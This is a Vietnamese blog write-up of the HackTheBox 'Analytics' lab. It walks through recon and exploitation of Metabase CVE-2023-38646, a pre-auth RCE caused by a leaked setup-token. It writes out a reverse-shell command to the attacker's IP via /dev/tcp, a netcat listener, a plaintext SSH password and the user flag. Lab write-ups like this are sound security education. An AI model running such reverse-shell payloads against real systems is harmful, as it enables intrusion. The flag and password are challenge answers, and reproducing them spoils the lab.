- vừa được xem lúc

[Write-up] Hackthebox: Analytics. Chỉ thiếu 1 dòng code cũng trở nên nguy hiểm

0 0 10

Người đăng: Phạm Hiếu

Theo Viblo Asia

Giới thiệu

Tưởng chừng như việc nâng cấp code sẽ mang lại cho ứng dụng web thêm tiện ích hay bảo mật. Nhưng không đối với Request-Baskets khi mà trong khi nâng cấp code anh dev đã xoá đi 1 dòng code quan trọng, dẫn đến việc hệ thống bị RCE.

1. Recon

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.233
[sudo] password for kali: Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 22:06 EST
Nmap scan report for 10.10.11.233
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

Thêm dòng sau vào file /etc/hosts

10.10.11.233 analytical.htb

Truy cập vào trang web

Ở đây có 1 subdomain khi truy cập vào login là: data.analytical.htb

Chỉnh sửa file /etc/hosts

10.10.11.233 data.analytical.htb

Tiếp tục truy cập

Metabase là một công cụ thông minh kinh doanh nguồn mở cho phép bạn tạo biểu đồ và trang tổng quan bằng cách sử dụng dữ liệu từ nhiều cơ sở dữ liệu và nguồn dữ liệu khác nhau

2.Enum

Thực hiện directory scan đối với analytical.htb và data.analytical.htb

┌──(kali㉿kali)-[~]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://analytical.htb/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3
________________________________________________ :: Method : GET :: URL : http://analytical.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________ [Status: 200, Size: 17169, Words: 4391, Lines: 365, Duration: 106ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 401ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 117ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 92ms]

Không có gì đặc biệt cả

3. Exploit

Khi truy cập vào subdomain: data.analytical.htb

Kiểm tra trên burpsuite, thì data.analytical.htb nó sẽ gọi đến /api/session/properties

Trên /api/session/properties có lộ 1 setup-token mà chúng ta không cần phải đăng nhập cũng có thể đọc được

Dưới đây là quá trình setup Metabase

Nhưng khi mà trong 1 lần có thể là nâng cấp code của ứng dụng, dev đã xoá đi phần quan trọng nhất là (setup/clear-token!)

Đây là bản code trước khi nâng cấp

Còn đây là sau khi nâng cấp:

Cái dòng setup/clear-token! hoàn toàn bị xoá đi. Các bạn có thể xem phần so sánh ở đây

Như vậy luồng hoạt động của nó sau khi sửa code sẽ là như sau:

Bước xoá setup-token đã bị bỏ đi

Sau khi research ứng dụng Metabase này dính 1 CVE-2023-38646, để tóm tắt nó sẽ được thực hiện như sau:

  • Có được setup-token ở trên /api/session/properties như ta đã giải thích ở trên
  • Biết được 1 API có sử dụng token trên để xác thực kết nối DB
  • Biết được 1 lỗ hổng SQL Injection tồn tại trên H2 db driver
  • Ta có thể RCE thông qua lỗ hổng SQL Injection

Thực hiện tìm kiếm mã khai thác:

https://github.com/m3m0o/metabase-pre-auth-rce-poc/blob/main/main.py

Chạy mã khai thác:

┌──(kali㉿kali)-[~]
└─$ python3 cveMetaBase.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "/bin/bash -i >& /dev/tcp/10.10.16.10/8888 0>&1"
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!] [+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent

Lắng nghe và truy cập được vào

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888 listening on [any] 8888 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.233] 40850
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
3051021b417f:/$ whoami
whoami
metabase
3051021b417f:/$

Nhưng không có ở flag ở trong thư mục home

Tìm kiếm trên file /etc/proc/environ có thông tin đăng nhập ssh của người dùng metalytics với mật khẩu là An4lytics_ds20223#, truy cập và có được flag user

metalytics@analytics:~$ ls
1 l m u user.txt w
metalytics@analytics:~$ cat user.txt b4ef54038d9d7971c025c51b76be2cc8
metalytics@analytics:~$

4. Recomendation

  • Thực hiện nâng cấp metabase lên phiên bản mới nhất

5. Referrence

[1]. Giải thích về rce metabase https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

[2]. Poc: https://github.com/m3m0o/metabase-pre-auth-rce-poc

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tìm bug với Eyewitness

. Chào các bạn, trong bài này mình sẽ viết về tool Eyewitness. Eyewiteness có tính năng chính là chụp hình lại giao diện trang web sau đó tạo một report thông qua file .

0 0 35

- vừa được xem lúc

[I passed OSWE] Nguồn gốc và sức mạnh | Tự tin và sự cố gắng

1. Giới thiệu.

0 0 28

- vừa được xem lúc

Tôi đã đánh cắp tên miền của MIT như thế nào?

. Chào cả nhà, lại là mình đây! Hôm này mình mang tới chủ đề mới đó là subdomain takeover hay nói cách đơn giản chiếm subdomain của người khác. Lỗi này rất thú vị và khá đơn giản để tìm kiếm.

0 0 43

- vừa được xem lúc

Keyboard from Scratch: Từ A tới Z

Keyboard from Scratch: Từ A tới Z. Sau khi kết thúc hai phần trước, chúng ta đã có những kiến thức cơ bản về chiếc bàn phím cơ, không để các bạn đợi lâu, ở phần này chúng ta sẽ thực sự bắt tay vào làm

0 0 37

- vừa được xem lúc

Keyboard from Scratch: Debounce

Keyboard from Scratch: Debounce. Bạn đang xem phần hai của một sê ri nhiều phần, nhiều chừng nào, nhiều đến khi nào, thì chưa biết được. . .

0 0 36

- vừa được xem lúc

Keyboard from Scratch: Prototype

Keyboard from Scratch: Prototype. Là một lập trình viên, bàn phím là một vật dụng bạn phải sờ vào hằng ngày, thậm chí số lần bạn sờ nó còn nhiều hơn số lần bạn sờ vào vợ hoặc bạn gái.

0 0 35